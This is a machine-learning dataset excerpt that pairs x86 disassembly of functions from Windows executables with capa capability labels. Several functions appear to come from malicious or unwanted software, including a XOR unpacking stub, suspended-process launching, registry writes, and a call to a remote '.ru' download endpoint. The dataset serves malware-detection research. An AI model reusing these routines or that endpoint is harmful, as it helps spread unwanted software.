joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41a0d0
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x4552c0]
jne 0x41a0da
repz ret
jmp fcn.0041ee1d

Function at 0x428557
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041f52f
and dword [ebp - 4], 0
cmp dword [0x45e0f4], 0
mov ebx, eax
jne 0x428608
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x4286b9
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x4286b9
push eax
call fcn.0041f4bd
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x45e0f4], eax
call esi
push eax
call fcn.0041f4bd
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x45e0f8], eax
call esi
push eax
call fcn.0041f4bd
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x45e0fc], eax
call esi
push eax
call fcn.0041f4bd
pop ecx
mov dword [0x45e104], eax
test eax, eax
je 0x428608
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041f4bd
pop ecx
mov dword [0x45e100], eax
mov eax, dword [0x45e100]
cmp eax, ebx
je 0x428660
cmp dword [0x45e104], ebx
je 0x428660
push eax
call fcn.0041f538
push dword [0x45e104]
mov esi, eax
call fcn.0041f538
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x428660
test edi, edi
je 0x428660
call esi
test eax, eax
je 0x428657
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x428657
test byte [ebp - 0xc], 1
jne 0x428660
or dword [ebp + 0x10], 0x200000
jmp 0x428699
mov eax, dword [0x45e0f8]
cmp eax, ebx
je 0x428699
push eax
call fcn.0041f538
pop ecx
test eax, eax
je 0x428699
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x428699
mov eax, dword [0x45e0fc]
cmp eax, ebx
je 0x428699
push eax
call fcn.0041f538
pop ecx
test eax, eax
je 0x428699
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x45e0f4]
call fcn.0041f538
pop ecx
test eax, eax
je 0x4286b9
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x4286bb
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42f3aa
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
cmp dword [eax + 0x18], 8
jb 0x42f3b9
mov eax, dword [eax + 4]
jmp 0x42f3bc
add eax, 4
push ebx
xor ebx, ebx
push ebx
lea ecx, [ebp - 4]
push ecx
push ebx
push 0x20006
push ebx
push ebx
push ebx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x42f3e0
xor al, al
pop ebx
leave
ret
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_lstrlenW]
cmp dword [esi + 0x18], 8
lea ecx, [eax + eax + 2]
jb 0x42f3f8
mov eax, dword [esi + 4]
jmp 0x42f3fb
lea eax, [esi + 4]
push ecx
push dword [ebp + 0xc]
push 1
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x42f41d
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, bl
jmp 0x42f3dd
mov bl, 1
jmp 0x42f410
Function at 0x42f492
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x20], 8
mov eax, dword [ebp + 0xc]
jae 0x42f4a1
lea eax, [ebp + 0xc]
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x42f4b7
test al, 0x10
je 0x42f4b7
mov bl, 1
jmp 0x42f4b9
xor bl, bl
push 0
push 1
lea esi, [ebp + 8]
call fcn.0040115a
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x42f4cb
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 0x20], 8
mov eax, dword [ebp + 0xc]
jae 0x42f4da
lea eax, [ebp + 0xc]
push ebx
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x42f4f0
test al, 0x10
jne 0x42f4f0
mov bl, 1
jmp 0x42f4f2
xor bl, bl
push 0
push 1
lea esi, [ebp + 8]
call fcn.0040115a
pop esi
mov al, bl
pop ebx
pop ebp
ret

Function at 0x42f5a7
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 0xc]
sub esp, 0xc
cmp dword [ebp + 0x20], 8
jae 0x42f5b9
lea eax, [ebp + 0xc]
push ebx
push esi
lea edx, [ebp - 8]
push edx
push 1
xor ebx, ebx
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x42f5ec
push ebx
push 1
lea esi, [ebp + 8]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp + 0x24]
call fcn.0040115a
xor al, al
pop esi
pop ebx
leave
ret
cmp dword [ebp + 0x38], ebx
je 0x42f639
cmp dword [ebp + 0x3c], 8
mov eax, dword [ebp + 0x28]
jae 0x42f5fd
lea eax, [ebp + 0x28]
push ebx
push ebx
lea ecx, [ebp - 0xc]
push ecx
push ebx
push eax
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x42f639
mov byte [ebp - 1], bl
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push ebx
push 1
lea esi, [ebp + 8]
call fcn.0040115a
push ebx
push 1
lea esi, [ebp + 0x24]
call fcn.0040115a
mov al, byte [ebp - 1]
jmp 0x42f5e8
mov byte [ebp - 1], 1
jmp 0x42f615
Function at 0x43049a
Capabilities:
Query or enumerate registry key

Disassembly:
push 0x50
mov eax, 0x43cfb3
call fcn.0041bb4d
mov ebx, edx
xor edi, edi
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0x20], 8
mov eax, dword [ebp + 0xc]
jae 0x4304bf
lea eax, [ebp + 0xc]
lea edx, [ebp - 0x10]
push edx
push 9
push edi
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4304ea
push ebx
call fcn.00406db5
push edi
push 1
lea esi, [ebp + 8]
call fcn.0040115a
mov eax, ebx
jmp 0x4305dc
push edi
push edi
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
push edi
push edi
push dword [ebp - 0x10]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x1c], edi
call dword [sym.imp.ADVAPI32.dll_RegQueryInfoKeyW]
test eax, eax
je 0x430519
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x4304d2
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
push 2
inc eax
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00418ea8
pop ecx
push dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
lea eax, [ebp - 0x40]
push eax
call fcn.00417e91
mov byte [ebp - 4], 1
xor ebx, ebx
cmp dword [ebp - 0x14], edi
jbe 0x4305a8
mov eax, dword [ebp - 0x1c]
push edi
push edi
push edi
inc eax
push edi
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x28]
push ebx
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyExW]
test eax, eax
jne 0x4305e2
push dword [ebp - 0x20]
lea eax, [ebp - 0x5c]
push dword [ebp - 0x28]
call fcn.00417d61
mov dword [ebp - 0x24], eax
push ebx
lea esi, [ebp - 0x40]
mov byte [ebp - 4], 2
call fcn.0040196b
push eax
mov eax, dword [ebp - 0x24]
call fcn.004018f5
push edi
push 1
lea esi, [ebp - 0x5c]
mov byte [ebp - 4], 1
call fcn.0040115a
inc ebx
cmp ebx, dword [ebp - 0x14]
jb 0x43054c
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x40]
push eax
push dword [ebp - 0x18]
call fcn.00401edc
lea esi, [ebp - 0x40]
call fcn.00401a6e
push dword [ebp - 0x40]
call fcn.0041a0df
pop ecx
push edi
push 1
lea esi, [ebp + 8]
call fcn.0040115a
mov eax, dword [ebp - 0x18]
call fcn.0041bc25
ret
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push dword [ebp - 0x18]
call fcn.00406db5
jmp 0x4305bd
Function at 0x430865
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x54
mov eax, 0x43d4a1
call fcn.0041bbb6
mov eax, dword [ebp + 8]
mov esi, dword [ebp + 0xc]
xor ebx, ebx
mov dword [ebp - 0x3c], ebx
cmp dword [eax + 0x18], 8
mov edi, edx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x38], ebx
jb 0x43088f
mov eax, dword [eax + 4]
jmp 0x430892
add eax, 4
lea edx, [ebp - 0x34]
push edx
push 1
push ebx
push eax
push ecx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x4308b8
push 0x445044
mov esi, edi
call fcn.004018d3
mov eax, edi
jmp 0x4309f7
cmp dword [esi + 0x18], 8
lea edi, [esi + 4]
jb 0x4308c5
mov eax, dword [edi]
jmp 0x4308c7
mov eax, edi
lea ecx, [ebp - 0x38]
push ecx
push ebx
lea ecx, [ebp - 0x40]
push ecx
push ebx
push eax
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
je 0x4308fc
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x30]
push 0x445044
call fcn.004018d3
mov eax, esi
jmp 0x4309f7
xor eax, eax
mov dword [ebp - 0x14], 7
mov dword [ebp - 0x18], ebx
mov word [ebp - 0x28], ax
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x40], 4
jne 0x430984
cmp dword [ebp - 0x38], 4
mov dword [ebp - 0x3c], ebx
jne 0x43096c
cmp dword [esi + 0x18], 8
jb 0x430926
mov edi, dword [edi]
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x3c]
push eax
push ebx
push ebx
push edi
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x43096c
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x5c]
call fcn.00402516
pop ecx
push 0xffffffffffffffff
lea ecx, [ebp - 0x2c]
push ecx
xor ebx, ebx
mov byte [ebp - 4], 1
call fcn.004010d2
push ebx
push 1
lea esi, [ebp - 0x5c]
mov byte [ebp - 4], bl
call fcn.0040115a
jmp 0x4309d4
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x30]
push 0x445044
call fcn.004018d3
jmp 0x4309e9
cmp dword [ebp - 0x40], 1
je 0x430990
cmp dword [ebp - 0x40], 2
jne 0x43096c
mov eax, dword [ebp - 0x38]
xor ecx, ecx
push 2
pop edx
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00418ea8
cmp dword [esi + 0x18], 8
pop ecx
mov dword [ebp - 0x3c], eax
jb 0x4309b3
mov edi, dword [edi]
lea ecx, [ebp - 0x38]
push ecx
push eax
push ebx
push ebx
push edi
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x43096c
push dword [ebp - 0x3c]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040199a
push dword [ebp - 0x34]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x30]
lea eax, [ebp - 0x2c]
push eax
call fcn.004010aa
push ebx
push 1
lea esi, [ebp - 0x2c]
call fcn.0040115a
mov eax, dword [ebp - 0x30]
call fcn.0041bc39
ret

Function at 0x432ca2
Capabilities:
Terminate process

Disassembly:
push 8
mov eax, 0x43d2a0
call fcn.0041bb4d
and dword [ebp - 4], 0
push 0x10
push 0x4482a4
push 0x4482b4
push 0
call dword [sym.imp.USER32.dll_MessageBoxW]
sub esp, 0x1c
lea eax, [ebp + 8]
mov esi, esp
mov dword [ebp - 0x10], esp
push eax
call fcn.004010aa
call fcn.00432c5d
add esp, 0x1c
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x433abd
Capabilities:
Read file on windows
Terminate process

Disassembly:
push 0x124
mov eax, 0x43d8ca
call fcn.0041bbb6
xor ebx, ebx
push 3
mov dword [ebp - 0xec], ebx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
push 0x433a49
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0xfffffffffffffff6
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
mov edi, 0x2800
push edi
mov dword [ebp - 0xec], eax
call fcn.00418ea8
pop ecx
push ebx
lea ecx, [ebp - 0xf4]
push ecx
push edi
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], ebx
push eax
jmp 0x433b61
push dword [ebp - 0xf4]
lea esi, [ebp - 0x114]
push dword [ebp - 0xf8]
call fcn.00417d3b
push 0xffffffffffffffff
push ebx
mov esi, 0x457030
mov dword [ebp - 4], ebx
call fcn.004068d4
or dword [ebp - 4], 0xffffffff
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.00401722
push ebx
lea eax, [ebp - 0xf4]
push eax
push edi
push dword [ebp - 0xf8]
push dword [ebp - 0xec]
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp dword [ebp - 0xf4], ebx
jne 0x433b19
push dword [ebp - 0xf8]
call fcn.0041a0df
pop ecx
push 3
push 0x7530
push 0xea60
lea eax, [ebp - 0xe8]
push eax
call fcn.00438e44
sub esp, 0x1c
mov dword [ebp - 0xec], esp
mov edi, esp
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xec], esp
push 0x456bc0
mov dword [ebp - 4], 1
call fcn.0040189b
call fcn.004389db
add esp, 0x1c
lea edi, [ebp - 0xe8]
call fcn.00438b62
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xec], esp
push str._launch_info
call fcn.004018d3
mov eax, edi
push eax
call fcn.00438b2c
sub esp, 0x1c
mov dword [ebp - 0xec], esp
mov esi, esp
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xec], esp
push 0x457030
call fcn.0040141a
mov ecx, esi
call fcn.00439b63
add esp, 0x1c
lea eax, [ebp - 0x114]
push eax
mov ecx, edi
call fcn.0043980b
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.00401722
lea ecx, [ebp - 0x114]
mov eax, edi
call fcn.00438a89
cmp dword [eax + 0x14], ebx
je 0x433c54
mov byte [ebp - 0xed], 1
cmp dword [ebp - 0x68], ebx
je 0x433c5a
mov byte [ebp - 0xed], bl
push ebx
push 1
lea esi, [ebp - 0x114]
call fcn.0040115a
cmp byte [ebp - 0xed], bl
je 0x433d0a
sub esp, 0x1c
mov dword [ebp - 0xec], esp
mov edi, esp
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xec], esp
push str.http:__forces.onlineleads.ru_get_json_stb4did1088943357ext_partner_idfile_id273693662
call fcn.0040189b
call fcn.004389db
add esp, 0x1c
lea edi, [ebp - 0xe8]
call fcn.00438b62
sub esp, 0x1c
mov esi, esp
mov dword [ebp - 0xec], esp
push str._launch_info
call fcn.004018d3
mov eax, edi
push eax
call fcn.00438b2c
sub esp, 0x1c
mov dword [ebp - 0xec], esp
mov esi, esp
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xec], esp
push 0x457030
call fcn.0040141a
mov ecx, esi
call fcn.00439b63
add esp, 0x1c
lea eax, [ebp - 0x130]
push eax
mov ecx, edi
call fcn.0043980b
push ebx
push 1
lea ecx, [ebp - 0x130]
call fcn.00401722
push ebx
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x4382a5
Capabilities:
Accept command line arguments
Create pipe
Create process on windows
Create process suspended
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xb4
mov eax, dword [0x4552c0]
xor eax, esp
mov dword [esp + 0xb0], eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
lea esi, [esp + 0xa4]
call fcn.004018d3
push str.watch
mov eax, esi
call fcn.00401d2b
pop ecx
test al, al
je 0x4382eb
call fcn.00433abd
mov esi, str.start
push esi
lea eax, [esp + 0xa4]
call fcn.00401d2b
pop ecx
test al, al
je 0x438307
call fcn.004370d1
lea ecx, [esp + 0x84]
call fcn.0042f8af
xor eax, eax
lea edi, [esp + 0x2c]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0
lea eax, [esp + 0x30]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x1c]
push eax
mov dword [esp + 0x44], 1
mov dword [esp + 0x3c], 0xc
call dword [sym.imp.KERNEL32.dll_CreatePipe]
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.0041ef30
mov ebx, dword [sym.imp.KERNEL32.dll_GetStdHandle]
xor eax, eax
lea edi, [esp + 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
push 0xfffffffffffffff6
stosd dword es:[edi], eax
call ebx
mov dword [esp + 0x70], eax
mov eax, dword [esp + 0x18]
push 0xfffffffffffffff4
mov dword [esp + 0x78], eax
call ebx
cmp dword [esp + 0x9c], 8
mov ecx, dword [esp + 0x88]
mov dword [esp + 0x78], eax
mov dword [esp + 0x64], 0x100
jae 0x43839c
lea ecx, [esp + 0x88]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x3c]
push eax
xor eax, eax
push eax
push eax
push 4
push 1
push eax
push eax
push esi
push ecx
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 0x18]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [esp + 0x20]
push dword [esp + 0x1c]
mov dword [esp + 0x18], eax
call esi
push 0x44
lea eax, [esp + 0x3c]
push 0
push eax
call fcn.0041ef30
xor eax, eax
lea edi, [esp + 0x28]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
add esp, 0xc
stosd dword es:[edi], eax
mov eax, dword [esp + 0x10]
push 0xfffffffffffffff5
mov dword [esp + 0x74], eax
call ebx
push 0xfffffffffffffff4
mov dword [esp + 0x78], eax
call ebx
cmp dword [esp + 0x9c], 8
mov dword [esp + 0x78], eax
mov eax, dword [esp + 0x88]
mov dword [esp + 0x64], 0x100
jae 0x438425
lea eax, [esp + 0x88]
lea ecx, [esp + 0x1c]
push ecx
xor edi, edi
lea ecx, [esp + 0x3c]
push ecx
push edi
push edi
push edi
push 1
push edi
push edi
push str.watch
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
push dword [esp + 0x10]
call esi
push dword [esp + 0x20]
call esi
push dword [esp + 0x1c]
call esi
push dword [esp + 0x14]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esp + 0x14]
call esi
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x439a8b
Capabilities:
Encode data using xor

Disassembly:
push 0x30
mov eax, 0x43cd7a
call fcn.0041bbb6
mov edi, ecx
xor esi, esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 4], esi
cmp dword [ebp + 0x1c], esi
jne 0x439ac5
push 0x445568
call fcn.0040189b
push esi
push 1
lea ecx, [ebp + 8]
call fcn.00401722
mov eax, edi
jmp 0x439b5d
push esi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.004017e9
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x3c], eax
dec eax
lea esi, [ebp - 0x2c]
call fcn.00406117
xor edi, edi
lea eax, [ebp + 8]
call fcn.00416286
movzx eax, byte [eax]
push ebx
push eax
call fcn.00439a52
cmp dword [ebp - 0x3c], ebx
pop ecx
pop ecx
mov dword [ebp - 0x30], ebx
jle 0x439b38
mov edi, dword [ebp - 0x30]
lea eax, [ebp + 8]
call fcn.00416286
movzx eax, byte [eax]
mov al, byte [eax + 0x45e2a0]
xor al, byte [ebp - 0x30]
lea edi, [ebp - 0x2c]
mov byte [ebp - 0x38], al
push dword [ebp - 0x38]
call fcn.0040617c
inc dword [ebp - 0x30]
mov eax, dword [ebp - 0x30]
cmp eax, dword [ebp - 0x3c]
jl 0x439b08
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040141a
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00401722
push 0
push ebx
lea ecx, [ebp + 8]
call fcn.00401722
mov eax, dword [ebp - 0x34]
call fcn.0041bc39
ret

Function at 0x439b63
Capabilities:
Encode data using xor

Disassembly:
push 0x2c
mov eax, 0x43cdaf
call fcn.0041bbb6
mov esi, ecx
xor edi, edi
mov dword [ebp - 0x38], esi
mov dword [ebp - 0x34], edi
mov dword [ebp - 4], edi
cmp dword [ebp + 0x1c], edi
jne 0x439b9d
push 0x445568
call fcn.0040189b
push edi
push 1
lea ecx, [ebp + 8]
call fcn.00401722
mov eax, esi
jmp 0x439c44
push edi
lea ecx, [ebp - 0x2c]
mov dword [ebp - 0x14], 0xf
call fcn.004017e9
xor ebx, ebx
inc ebx
mov byte [ebp - 4], bl
mov eax, dword [ebp + 0x1c]
mov dword [ebp - 0x34], eax
inc eax
lea esi, [ebp - 0x2c]
call fcn.00406117
call fcn.0042f128
mov byte [ebp - 0x30], al
movzx eax, al
push edi
push eax
call fcn.00439a52
pop ecx
pop ecx
push dword [ebp - 0x30]
mov edi, esi
call fcn.0040617c
mov esi, dword [ebp - 0x34]
and dword [ebp - 0x30], 0
test esi, esi
jle 0x439c1f
mov edi, dword [ebp - 0x30]
lea eax, [ebp + 8]
call fcn.00416286
mov cl, byte [ebp - 0x30]
movzx eax, byte [eax]
inc cl
movzx ecx, cl
xor ecx, eax
mov al, byte [ecx + 0x45e2a0]
mov byte [ebp - 0x34], al
push dword [ebp - 0x34]
lea edi, [ebp - 0x2c]
call fcn.0040617c
inc dword [ebp - 0x30]
cmp dword [ebp - 0x30], esi
jl 0x439beb
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x2c]
push eax
call fcn.0040141a
push 0
push ebx
lea ecx, [ebp - 0x2c]
call fcn.00401722
push 0
push ebx
lea ecx, [ebp + 8]
call fcn.00401722
mov eax, dword [ebp - 0x38]
call fcn.0041bc39
ret
Function at 0xadf166
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0xad9140]
jne 0xadf170
repz ret
jmp fcn.00adf4af

Function at 0xae5328
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0xad9140]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
mov dword [ebp - 0x1c], eax
call fcn.00ae0976
and dword [ebp - 0x14], 0
cmp dword [0xadcb2c], 0
mov dword [ebp - 0x18], eax
jne 0xae53db
push str.USER32.DLL
call dword [sym.imp.kernel32.dll_LoadLibraryW]
mov ebx, eax
test ebx, ebx
je 0xae5483
mov edi, dword [sym.imp.kernel32.dll_GetProcAddress]
push str.MessageBoxW
push ebx
call edi
test eax, eax
je 0xae5483
mov esi, dword [sym.imp.kernel32.dll_EncodePointer]
push eax
call esi
push str.GetActiveWindow
push ebx
mov dword [0xadcb2c], eax
call edi
push eax
call esi
push str.GetLastActivePopup
push ebx
mov dword [0xadcb30], eax
call edi
push eax
call esi
push str.GetUserObjectInformationW
push ebx
mov dword [0xadcb34], eax
call edi
push eax
call esi
mov dword [0xadcb3c], eax
test eax, eax
je 0xae53db
push str.GetProcessWindowStation
push ebx
call edi
push eax
call esi
mov dword [0xadcb38], eax
mov eax, dword [0xadcb38]
mov ecx, dword [ebp - 0x18]
mov esi, dword [sym.imp.kernel32.dll_DecodePointer]
cmp eax, ecx
je 0xae5434
cmp dword [0xadcb3c], ecx
je 0xae5434
push eax
call esi
push dword [0xadcb3c]
mov edi, eax
call esi
mov ebx, eax
test edi, edi
je 0xae5434
test ebx, ebx
je 0xae5434
call edi
test eax, eax
je 0xae542b
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call ebx
test eax, eax
je 0xae542b
test byte [ebp - 8], 1
jne 0xae5434
or dword [ebp + 0x10], 0x200000
jmp 0xae5467
mov eax, dword [0xadcb30]
cmp eax, dword [ebp - 0x18]
je 0xae5467
push eax
call esi
test eax, eax
je 0xae5467
call eax
mov dword [ebp - 0x14], eax
test eax, eax
je 0xae5467
mov eax, dword [0xadcb34]
cmp eax, dword [ebp - 0x18]
je 0xae5467
push eax
call esi
test eax, eax
je 0xae5467
push dword [ebp - 0x14]
call eax
mov dword [ebp - 0x14], eax
push dword [0xadcb2c]
call esi
test eax, eax
je 0xae5483
push dword [ebp + 0x10]
push dword [ebp - 0x1c]
push dword [ebp - 0x20]
push dword [ebp - 0x14]
call eax
jmp 0xae5485
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00adf166
leave
ret
Function at 0x401f10
Capabilities:
Get disk information
Inspect load icon resource
Read file on windows

Disassembly:
mov eax, dword [esp + 4]
sub esp, 0x148
push ebx
push esi
push edi
push 0x65
push eax
call dword [sym.imp.USER32.dll_LoadIconA]
lea ecx, [esp + 0xc]
call fcn.00401000
lea ecx, [esp + 0x50]
push 0x104
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea edx, [esp + 0x50]
lea ecx, [esp + 0xc]
push edx
call fcn.004012b0
test eax, eax
je 0x402021
lea eax, [esp + 0x50]
push 0x404030
push eax
call dword [sym.imp.MSVCRT.dll_fopen]
mov esi, eax
add esp, 8
test esi, esi
je 0x402084
lea ecx, [esp + 0x50]
push ecx
lea ecx, [esp + 0x10]
call fcn.00401290
mov edi, dword [sym.imp.MSVCRT.dll_fseek]
sub eax, 8
push 0
push eax
push esi
call edi
mov ebx, dword [sym.imp.MSVCRT.dll_fread]
push esi
push 1
lea edx, [esp + 0x24]
push 8
push edx
call ebx
mov eax, dword [esp + 0x2c]
push 0
push eax
push esi
call edi
push esi
push 1
lea ecx, [esp + 0x48]
push 0x38
push ecx
call ebx
push esi
call dword [sym.imp.MSVCRT.dll_fclose]
mov eax, dword [esp + 0x88]
mov edx, dword [esp + 0x50]
add esp, 0x3c
test eax, eax
mov eax, dword [esp + 0x10]
push edx
push eax
jne 0x401ffe
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401800
jmp 0x402084
sub esp, 0x38
mov ecx, 0xe
lea esi, [esp + 0x58]
mov edi, esp
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x90]
push ecx
lea ecx, [esp + 0x50]
call fcn.00401a90
jmp 0x402084
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString_1
call dword [sym.imp.KERNEL32.dll_GetLogicalDrives]
mov edi, eax
mov esi, 1
xor ebx, ebx
test edi, esi
je 0x40206a
mov dl, bl
lea ecx, [esp + 0x10]
add dl, 0x41
push edx
call sub.MFC42.DLL_CString::operator_1
push 0x40412c
lea ecx, [esp + 0x14]
call fcn.004020e2
lea ecx, [esp + 0xc]
mov eax, dword [esp + 0x10]
push eax
push 0
call fcn.00401cf0
add esi, esi
inc ebx
cmp ebx, 0x1a
jl 0x402039
lea ecx, [esp + 0xc]
call fcn.00401040
lea ecx, [esp + 0x10]
call sub.MFC42.DLL_CString::CString
lea ecx, [esp + 0xc]
call fcn.00401030
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0x148
ret 0x10

Function at 0x433005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
call 0x43300c
pop eax
nop
nop
nop
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
nop
mov ebx, dword [eax]
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
xor dword [ebx], edx
nop
nop
nop
nop
nop
add ebx, 4
nop
cmp ebx, ecx
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
jne 0x43301e
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219